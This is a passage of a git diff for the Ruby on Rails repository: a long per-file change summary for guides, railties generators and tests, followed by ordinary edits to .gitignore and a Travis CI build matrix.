-rw-r--r--guides/code/getting_started/config/environment.rb5
-rw-r--r--guides/code/getting_started/config/environments/development.rb34
-rw-r--r--guides/code/getting_started/config/environments/production.rb67
-rw-r--r--guides/code/getting_started/config/environments/test.rb34
-rw-r--r--guides/code/getting_started/config/initializers/backtrace_silencers.rb7
-rw-r--r--guides/code/getting_started/config/initializers/inflections.rb15
-rw-r--r--guides/code/getting_started/config/initializers/mime_types.rb5
-rw-r--r--guides/code/getting_started/config/initializers/secret_token.rb9
-rw-r--r--guides/code/getting_started/config/initializers/session_store.rb3
-rw-r--r--guides/code/getting_started/config/initializers/wrap_parameters.rb14
-rw-r--r--guides/code/getting_started/config/locales/en.yml5
-rw-r--r--guides/code/getting_started/config/routes.rb63
-rw-r--r--guides/code/getting_started/db/migrate/20110901012815_create_comments.rb12
-rw-r--r--guides/code/getting_started/db/migrate/20120420083127_create_posts.rb10
-rw-r--r--guides/code/getting_started/db/schema.rb42
-rw-r--r--guides/code/getting_started/db/seeds.rb7
-rw-r--r--guides/code/getting_started/doc/README_FOR_APP2
-rw-r--r--guides/code/getting_started/public/404.html26
-rw-r--r--guides/code/getting_started/public/422.html26
-rw-r--r--guides/code/getting_started/public/500.html25
-rw-r--r--guides/code/getting_started/public/favicon.ico0
-rw-r--r--guides/code/getting_started/public/robots.txt5
-rwxr-xr-xguides/code/getting_started/script/rails6
-rw-r--r--guides/code/getting_started/test/fixtures/.gitkeep0
-rw-r--r--guides/code/getting_started/test/fixtures/comments.yml11
-rw-r--r--guides/code/getting_started/test/fixtures/posts.yml9
-rw-r--r--guides/code/getting_started/test/functional/.gitkeep0
-rw-r--r--guides/code/getting_started/test/functional/comments_controller_test.rb7
-rw-r--r--guides/code/getting_started/test/functional/posts_controller_test.rb49
-rw-r--r--guides/code/getting_started/test/functional/welcome_controller_test.rb8
-rw-r--r--guides/code/getting_started/test/integration/.gitkeep0
-rw-r--r--guides/code/getting_started/test/performance/browsing_test.rb12
-rw-r--r--guides/code/getting_started/test/test_helper.rb13
-rw-r--r--guides/code/getting_started/test/unit/.gitkeep0
-rw-r--r--guides/code/getting_started/test/unit/comment_test.rb7
-rw-r--r--guides/code/getting_started/test/unit/helpers/comments_helper_test.rb4
-rw-r--r--guides/code/getting_started/test/unit/helpers/home_helper_test.rb4
-rw-r--r--guides/code/getting_started/test/unit/helpers/posts_helper_test.rb4
-rw-r--r--guides/code/getting_started/test/unit/post_test.rb7
-rw-r--r--guides/code/getting_started/test/unit/tag_test.rb7
-rw-r--r--guides/code/getting_started/vendor/plugins/.gitkeep0
-rw-r--r--guides/rails_guides.rb27
-rw-r--r--guides/rails_guides/generator.rb2
-rw-r--r--guides/rails_guides/helpers.rb6
-rw-r--r--guides/rails_guides/kindle.rb2
-rw-r--r--guides/rails_guides/levenshtein.rb50
-rw-r--r--guides/rails_guides/markdown.rb20
-rw-r--r--guides/rails_guides/markdown/renderer.rb4
-rw-r--r--guides/source/2_2_release_notes.md38
-rw-r--r--guides/source/2_3_release_notes.md28
-rw-r--r--guides/source/3_0_release_notes.md29
-rw-r--r--guides/source/3_1_release_notes.md11
-rw-r--r--guides/source/3_2_release_notes.md37
-rw-r--r--guides/source/4_0_release_notes.md180
-rw-r--r--guides/source/4_1_release_notes.md730
-rw-r--r--guides/source/4_2_release_notes.md842
-rw-r--r--guides/source/_license.html.erb2
-rw-r--r--guides/source/_welcome.html.erb4
-rw-r--r--guides/source/action_controller_overview.md523
-rw-r--r--guides/source/action_mailer_basics.md531
-rw-r--r--guides/source/action_view_overview.md451
-rw-r--r--guides/source/active_job_basics.md318
-rw-r--r--guides/source/active_model_basics.md394
-rw-r--r--guides/source/active_record_basics.md270
-rw-r--r--guides/source/active_record_callbacks.md134
-rw-r--r--guides/source/active_record_migrations.md1016
-rw-r--r--guides/source/active_record_postgresql.md433
-rw-r--r--guides/source/active_record_querying.md707
-rw-r--r--guides/source/active_record_validations.md329
-rw-r--r--guides/source/active_support_core_extensions.md449
-rw-r--r--guides/source/active_support_instrumentation.md48
-rw-r--r--guides/source/api_documentation_guidelines.md180
-rw-r--r--guides/source/asset_pipeline.md1104
-rw-r--r--guides/source/association_basics.md353
-rw-r--r--guides/source/caching_with_rails.md204
-rw-r--r--guides/source/command_line.md221
-rw-r--r--guides/source/configuring.md513
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md383
-rw-r--r--guides/source/credits.html.erb12
-rw-r--r--guides/source/debugging_rails_applications.md772
-rw-r--r--guides/source/development_dependencies_install.md156
-rw-r--r--guides/source/documents.yaml51
-rw-r--r--guides/source/engines.md1046
-rw-r--r--guides/source/form_helpers.md271
-rw-r--r--guides/source/generators.md114
-rw-r--r--guides/source/getting_started.md1685
-rw-r--r--guides/source/i18n.md299
-rw-r--r--guides/source/index.html.erb3
-rw-r--r--guides/source/initialization.md500
-rw-r--r--guides/source/kindle/KINDLE.md26
-rw-r--r--guides/source/kindle/toc.html.erb2
-rw-r--r--guides/source/layout.html.erb25
-rw-r--r--guides/source/layouts_and_rendering.md290
-rw-r--r--guides/source/maintenance_policy.md78
-rw-r--r--guides/source/migrations.md875
-rw-r--r--guides/source/nested_model_forms.md19
-rw-r--r--guides/source/performance_testing.md686
-rw-r--r--guides/source/plugins.md123
-rw-r--r--guides/source/rails_application_templates.md82
-rw-r--r--guides/source/rails_on_rack.md128
-rw-r--r--guides/source/routing.md344
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.md25
-rw-r--r--guides/source/security.md370
-rw-r--r--guides/source/testing.md649
-rw-r--r--guides/source/upgrading_ruby_on_rails.md930
-rw-r--r--guides/source/working_with_javascript_in_rails.md117
-rw-r--r--guides/w3c_validator.rb2
-rw-r--r--install.rb9
-rw-r--r--rails.gemspec13
-rw-r--r--railties/CHANGELOG.md146
-rw-r--r--railties/MIT-LICENSE2
-rw-r--r--railties/RDOC_MAIN.rdoc73
-rw-r--r--railties/README.rdoc6
-rw-r--r--railties/Rakefile25
-rwxr-xr-xrailties/bin/rails4
-rw-r--r--railties/lib/rails.rb60
-rw-r--r--railties/lib/rails/all.rb2
-rw-r--r--railties/lib/rails/api/task.rb170
-rw-r--r--railties/lib/rails/app_rails_loader.rb63
-rw-r--r--railties/lib/rails/application.rb414
-rw-r--r--railties/lib/rails/application/bootstrap.rb19
-rw-r--r--railties/lib/rails/application/configuration.rb85
-rw-r--r--railties/lib/rails/application/default_middleware_stack.rb103
-rw-r--r--railties/lib/rails/application/finisher.rb51
-rw-r--r--railties/lib/rails/application/routes_reloader.rb4
-rw-r--r--railties/lib/rails/application_controller.rb16
-rw-r--r--railties/lib/rails/backtrace_cleaner.rb13
-rw-r--r--railties/lib/rails/cli.rb7
-rw-r--r--railties/lib/rails/code_statistics.rb69
-rw-r--r--railties/lib/rails/code_statistics_calculator.rb79
-rw-r--r--railties/lib/rails/commands.rb105
-rw-r--r--railties/lib/rails/commands/application.rb24
-rw-r--r--railties/lib/rails/commands/benchmarker.rb34
-rw-r--r--railties/lib/rails/commands/commands_tasks.rb169
-rw-r--r--railties/lib/rails/commands/console.rb54
-rw-r--r--railties/lib/rails/commands/dbconsole.rb46
-rw-r--r--railties/lib/rails/commands/destroy.rb2
-rw-r--r--railties/lib/rails/commands/generate.rb2
-rw-r--r--railties/lib/rails/commands/plugin.rb23
-rw-r--r--railties/lib/rails/commands/plugin_new.rb9
-rw-r--r--railties/lib/rails/commands/profiler.rb32
-rw-r--r--railties/lib/rails/commands/runner.rb25
-rw-r--r--railties/lib/rails/commands/server.rb115
-rw-r--r--railties/lib/rails/commands/update.rb9
-rw-r--r--railties/lib/rails/configuration.rb13
-rw-r--r--railties/lib/rails/console/helpers.rb6
-rw-r--r--railties/lib/rails/engine.rb79
-rw-r--r--railties/lib/rails/engine/commands.rb2
-rw-r--r--railties/lib/rails/engine/configuration.rb9
-rw-r--r--railties/lib/rails/engine/railties.rb21
-rw-r--r--railties/lib/rails/gem_version.rb15
-rw-r--r--railties/lib/rails/generators.rb94
-rw-r--r--railties/lib/rails/generators/actions.rb62
-rw-r--r--railties/lib/rails/generators/actions/create_migration.rb69
-rw-r--r--railties/lib/rails/generators/active_model.rb4
-rw-r--r--railties/lib/rails/generators/app_base.rb236
-rw-r--r--railties/lib/rails/generators/base.rb47
-rw-r--r--railties/lib/rails/generators/erb.rb6
-rw-r--r--railties/lib/rails/generators/erb/controller/controller_generator.rb6
-rw-r--r--railties/lib/rails/generators/erb/mailer/mailer_generator.rb29
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/layout.html.erb5
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/layout.text.erb1
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/view.html.erb5
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/view.text.erb2
-rw-r--r--railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb6
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb17
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/edit.html.erb2
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/index.html.erb30
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/new.html.erb2
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/show.html.erb3
-rw-r--r--railties/lib/rails/generators/generated_attribute.rb32
-rw-r--r--railties/lib/rails/generators/migration.rb45
-rw-r--r--railties/lib/rails/generators/model_helpers.rb28
-rw-r--r--railties/lib/rails/generators/named_base.rb18
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb159
-rw-r--r--railties/lib/rails/generators/rails/app/templates/Gemfile63
-rw-r--r--railties/lib/rails/generators/rails/app/templates/README259
-rw-r--r--railties/lib/rails/generators/rails/app/templates/README.rdoc28
-rw-r--r--railties/lib/rails/generators/rails/app/templates/Rakefile2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/images/rails.pngbin6646 -> 0 bytes
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt8
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css10
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt13
-rw-r--r--railties/lib/rails/generators/rails/app/templates/bin/bundle2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/bin/rails3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/bin/rake3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/bin/setup28
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config.ru4
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb34
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/boot.rb3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml36
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml69
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml64
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml39
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml47
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml9
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml53
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml37
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml53
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml16
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml59
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environment.rb6
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt27
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt53
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt13
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt11
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/filter_parameter_logging.rb4
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/inflections.rb2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/locale.rb7
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb1
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt12
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/session_store.rb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt4
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/routes.rb11
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/secrets.yml22
-rw-r--r--railties/lib/rails/generators/rails/app/templates/doc/README_FOR_APP2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/gitignore9
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/404.html66
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/422.html65
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/500.html64
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/robots.txt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/stylesheets/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/app/templates/script/rails5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/fixtures/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/functional/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/integration/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/performance/browsing_test.rb12
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/test_helper.rb7
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/unit/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/controller/USAGE2
-rw-r--r--railties/lib/rails/generators/rails/controller/controller_generator.rb42
-rw-r--r--railties/lib/rails/generators/rails/generator/USAGE1
-rw-r--r--railties/lib/rails/generators/rails/generator/generator_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/helper/USAGE4
-rw-r--r--railties/lib/rails/generators/rails/migration/USAGE18
-rw-r--r--railties/lib/rails/generators/rails/model/USAGE55
-rw-r--r--railties/lib/rails/generators/rails/model/model_generator.rb4
-rw-r--r--railties/lib/rails/generators/rails/performance_test/USAGE10
-rw-r--r--railties/lib/rails/generators/rails/performance_test/performance_test_generator.rb7
-rw-r--r--railties/lib/rails/generators/rails/plugin/USAGE (renamed from railties/lib/rails/generators/rails/plugin_new/USAGE)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/plugin_generator.rb393
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec27
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/Gemfile47
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE20
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/README.rdoc (renamed from railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/Rakefile29
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/app/mailers/.empty_directory)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory (renamed from railties/lib/rails/generators/rails/app/templates/app/models/.empty_directory)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt11
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/config/routes.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/gitignore (renamed from railties/lib/rails/generators/rails/plugin_new/templates/gitignore)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb6
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/application.rb18
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb5
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js13
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css15
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb23
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb362
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec29
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/Gemfile38
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE20
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/Rakefile25
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/app/models/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb6
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb17
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb9
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/script/rails.tt7
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb15
-rw-r--r--railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/scaffold/USAGE8
-rw-r--r--railties/lib/rails/generators/rails/scaffold/scaffold_generator.rb11
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb57
-rw-r--r--railties/lib/rails/generators/resource_helpers.rb36
-rw-r--r--railties/lib/rails/generators/test_case.rb217
-rw-r--r--railties/lib/rails/generators/test_unit/generator/generator_generator.rb26
-rw-r--r--railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb16
-rw-r--r--railties/lib/rails/generators/test_unit/helper/helper_generator.rb6
-rw-r--r--railties/lib/rails/generators/test_unit/helper/templates/helper_test.rb6
-rw-r--r--railties/lib/rails/generators/test_unit/job/job_generator.rb13
-rw-r--r--railties/lib/rails/generators/test_unit/job/templates/unit_test.rb.erb9
-rw-r--r--railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb9
-rw-r--r--railties/lib/rails/generators/test_unit/mailer/templates/preview.rb13
-rw-r--r--railties/lib/rails/generators/test_unit/model/model_generator.rb12
-rw-r--r--railties/lib/rails/generators/test_unit/model/templates/fixtures.yml22
-rw-r--r--railties/lib/rails/generators/test_unit/performance/performance_generator.rb13
-rw-r--r--railties/lib/rails/generators/test_unit/performance/templates/performance_test.rb12
-rw-r--r--railties/lib/rails/generators/test_unit/plugin/templates/test_helper.rb2
-rw-r--r--railties/lib/rails/generators/test_unit/scaffold/scaffold_generator.rb6
-rw-r--r--railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb2
-rw-r--r--railties/lib/rails/generators/testing/assertions.rb123
-rw-r--r--railties/lib/rails/generators/testing/behaviour.rb123
-rw-r--r--railties/lib/rails/generators/testing/setup_and_teardown.rb18
-rw-r--r--railties/lib/rails/info.rb44
-rw-r--r--railties/lib/rails/info_controller.rb28
-rw-r--r--railties/lib/rails/mailers_controller.rb73
-rw-r--r--railties/lib/rails/paths.rb59
-rw-r--r--railties/lib/rails/performance_test_help.rb3
-rw-r--r--railties/lib/rails/rack.rb2
-rw-r--r--railties/lib/rails/rack/debugger.rb4
-rw-r--r--railties/lib/rails/rack/log_tailer.rb6
-rw-r--r--railties/lib/rails/rack/logger.rb42
-rw-r--r--railties/lib/rails/railtie.rb70
-rw-r--r--railties/lib/rails/railtie/configuration.rb2
-rw-r--r--railties/lib/rails/ruby_version_check.rb6
-rw-r--r--railties/lib/rails/rubyprof_ext.rb35
-rw-r--r--railties/lib/rails/script_rails_loader.rb29
-rw-r--r--railties/lib/rails/source_annotation_extractor.rb65
-rw-r--r--railties/lib/rails/tasks.rb4
-rw-r--r--railties/lib/rails/tasks/documentation.rake153
-rw-r--r--railties/lib/rails/tasks/engine.rake2
-rw-r--r--railties/lib/rails/tasks/framework.rake28
-rw-r--r--railties/lib/rails/tasks/log.rake22
-rw-r--r--railties/lib/rails/tasks/routes.rake4
-rw-r--r--railties/lib/rails/tasks/statistics.rake11
-rw-r--r--railties/lib/rails/templates/layouts/application.html.erb8
-rw-r--r--railties/lib/rails/templates/rails/info/routes.html.erb2
-rw-r--r--railties/lib/rails/templates/rails/mailers/email.html.erb105
-rw-r--r--railties/lib/rails/templates/rails/mailers/index.html.erb8
-rw-r--r--railties/lib/rails/templates/rails/mailers/mailer.html.erb6
-rw-r--r--railties/lib/rails/templates/rails/welcome/index.html.erb61
-rw-r--r--railties/lib/rails/test_help.rb18
-rw-r--r--railties/lib/rails/test_unit/railtie.rb5
-rw-r--r--railties/lib/rails/test_unit/sub_test_task.rb120
-rw-r--r--railties/lib/rails/test_unit/testing.rake160
-rw-r--r--railties/lib/rails/version.rb12
-rw-r--r--railties/lib/rails/welcome_controller.rb7
-rw-r--r--railties/railties.gemspec9
-rw-r--r--railties/test/abstract_unit.rb39
-rw-r--r--railties/test/app_rails_loader_test.rb89
-rw-r--r--railties/test/application/asset_debugging_test.rb4
-rw-r--r--railties/test/application/assets_test.rb106
-rw-r--r--railties/test/application/configuration/base_test.rb37
-rw-r--r--railties/test/application/configuration/custom_test.rb22
-rw-r--r--railties/test/application/configuration_test.rb724
-rw-r--r--railties/test/application/console_test.rb71
-rw-r--r--railties/test/application/generators_test.rb2
-rw-r--r--railties/test/application/initializers/boot_test.rb20
-rw-r--r--railties/test/application/initializers/frameworks_test.rb36
-rw-r--r--railties/test/application/initializers/i18n_test.rb35
-rw-r--r--railties/test/application/initializers/load_path_test.rb23
-rw-r--r--railties/test/application/initializers/notifications_test.rb13
-rw-r--r--railties/test/application/loading_test.rb59
-rw-r--r--railties/test/application/mailer_previews_test.rb494
-rw-r--r--railties/test/application/middleware/best_practices_test.rb30
-rw-r--r--railties/test/application/middleware/cache_test.rb8
-rw-r--r--railties/test/application/middleware/cookies_test.rb2
-rw-r--r--railties/test/application/middleware/exceptions_test.rb15
-rw-r--r--railties/test/application/middleware/remote_ip_test.rb31
-rw-r--r--railties/test/application/middleware/session_test.rb82
-rw-r--r--railties/test/application/middleware/static_test.rb31
-rw-r--r--railties/test/application/middleware_test.rb58
-rw-r--r--railties/test/application/multiple_applications_test.rb176
-rw-r--r--railties/test/application/paths_test.rb9
-rw-r--r--railties/test/application/queue_test.rb154
-rw-r--r--railties/test/application/rack/logger_test.rb8
-rw-r--r--railties/test/application/rake/dbs_test.rb127
-rw-r--r--railties/test/application/rake/migrations_test.rb52
-rw-r--r--railties/test/application/rake/notes_test.rb134
-rw-r--r--railties/test/application/rake_test.rb152
-rw-r--r--railties/test/application/rendering_test.rb45
-rw-r--r--railties/test/application/routing_test.rb182
-rw-r--r--railties/test/application/runner_test.rb12
-rw-r--r--railties/test/application/test_runner_test.rb331
-rw-r--r--railties/test/application/test_test.rb266
-rw-r--r--railties/test/application/url_generation_test.rb5
-rw-r--r--railties/test/code_statistics_calculator_test.rb288
-rw-r--r--railties/test/commands/console_test.rb96
-rw-r--r--railties/test/commands/dbconsole_test.rb187
-rw-r--r--railties/test/commands/server_test.rb58
-rw-r--r--railties/test/configuration/middleware_stack_proxy_test.rb8
-rw-r--r--railties/test/engine_test.rb13
-rw-r--r--railties/test/env_helpers.rb4
-rw-r--r--railties/test/fixtures/lib/app_builders/empty_builder.rb2
-rw-r--r--railties/test/fixtures/lib/app_builders/simple_builder.rb7
-rw-r--r--railties/test/fixtures/lib/app_builders/tweak_builder.rb7
-rw-r--r--railties/test/fixtures/lib/plugin_builders/empty_builder.rb2
-rw-r--r--railties/test/fixtures/lib/plugin_builders/simple_builder.rb7
-rw-r--r--railties/test/fixtures/lib/plugin_builders/spec_builder.rb19
-rw-r--r--railties/test/fixtures/lib/plugin_builders/tweak_builder.rb7
-rw-r--r--railties/test/generators/actions_test.rb43
-rw-r--r--railties/test/generators/app_generator_test.rb306
-rw-r--r--railties/test/generators/argv_scrubber_test.rb136
-rw-r--r--railties/test/generators/controller_generator_test.rb22
-rw-r--r--railties/test/generators/create_migration_test.rb134
-rw-r--r--railties/test/generators/generated_attribute_test.rb10
-rw-r--r--railties/test/generators/generator_generator_test.rb12
-rw-r--r--railties/test/generators/generator_test.rb85
-rw-r--r--railties/test/generators/generators_test_helper.rb17
-rw-r--r--railties/test/generators/helper_generator_test.rb15
-rw-r--r--railties/test/generators/mailer_generator_test.rb85
-rw-r--r--railties/test/generators/migration_generator_test.rb204
-rw-r--r--railties/test/generators/model_generator_test.rb99
-rw-r--r--railties/test/generators/named_base_test.rb20
-rw-r--r--railties/test/generators/namespaced_generators_test.rb15
-rw-r--r--railties/test/generators/performance_test_generator_test.rb12
-rw-r--r--railties/test/generators/plugin_generator_test.rb442
-rw-r--r--railties/test/generators/plugin_new_generator_test.rb408
-rw-r--r--railties/test/generators/resource_generator_test.rb7
-rw-r--r--railties/test/generators/scaffold_controller_generator_test.rb29
-rw-r--r--railties/test/generators/scaffold_generator_test.rb99
-rw-r--r--railties/test/generators/shared_generator_tests.rb100
-rw-r--r--railties/test/generators/task_generator_test.rb14
-rw-r--r--railties/test/generators_test.rb31
-rw-r--r--railties/test/initializable_test.rb10
-rw-r--r--railties/test/isolation/abstract_unit.rb90
-rw-r--r--railties/test/path_generation_test.rb88
-rw-r--r--railties/test/paths_test.rb5
-rw-r--r--railties/test/rack_logger_test.rb75
-rw-r--r--railties/test/rails_info_controller_test.rb10
-rw-r--r--railties/test/rails_info_test.rb22
-rw-r--r--railties/test/railties/engine_test.rb118
-rw-r--r--railties/test/railties/generators_test.rb2
-rw-r--r--railties/test/railties/mounted_engine_test.rb66
-rw-r--r--railties/test/railties/railtie_test.rb35
-rw-r--r--railties/test/script_rails_loader_test.rb22
-rw-r--r--railties/test/test_info_test.rb60
-rw-r--r--railties/test/version_test.rb12
-rw-r--r--tasks/release.rb37
-rw-r--r--tools/README.md7
-rw-r--r--tools/line_statistics42
-rwxr-xr-xtools/profile166
-rw-r--r--version.rb13
2527 files changed, 127881 insertions, 80759 deletions
diff --git a/.gitignore b/.gitignore
index 854fdbf450..bc96284375 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,13 +1,12 @@
# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore.
-# Check out http://help.github.com/ignore-files/ for how to set that up.
+# Check out https://help.github.com/articles/ignoring-files for how to set that up.
debug.log
.Gemfile
/.bundle
-/.rbenv-version
-/.rvmrc
+/.ruby-version
/Gemfile.lock
-/pkg
+pkg
/dist
/doc/rdoc
/*/doc
@@ -21,4 +20,3 @@ debug.log
/railties/doc
/railties/tmp
/guides/output
-/RDOC_MAIN.rdoc
diff --git a/.travis.yml b/.travis.yml
index 18b0100c62..6c4d540a8f 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,16 +1,34 @@
+language: ruby
script: 'ci/travis.rb'
before_install:
- - gem install bundler
-rvm:
- - 1.9.3
- - 2.0.0
+ - travis_retry gem install bundler
+ - "rvm current | grep 'jruby' && export AR_JDBC=true || echo"
env:
- - "GEM=railties"
- - "GEM=ap,am,amo,as"
- - "GEM=ar:mysql"
- - "GEM=ar:mysql2"
- - "GEM=ar:sqlite3"
- - "GEM=ar:postgresql"
+ global:
+ - JRUBY_OPTS='-J-Xmx1024M'
+ matrix:
+ - "GEM=railties"
+ - "GEM=ap"
+ - "GEM=aj"
+ - "GEM=am,amo,as,av"
+ - "GEM=ar:mysql"
+ - "GEM=ar:mysql2"
+ - "GEM=ar:sqlite3"
+ - "GEM=ar:postgresql"
+ - "GEM=aj:integration"
+rvm:
+ - 2.1
+ - ruby-head
+ - rbx-2
+ - jruby
+matrix:
+ allow_failures:
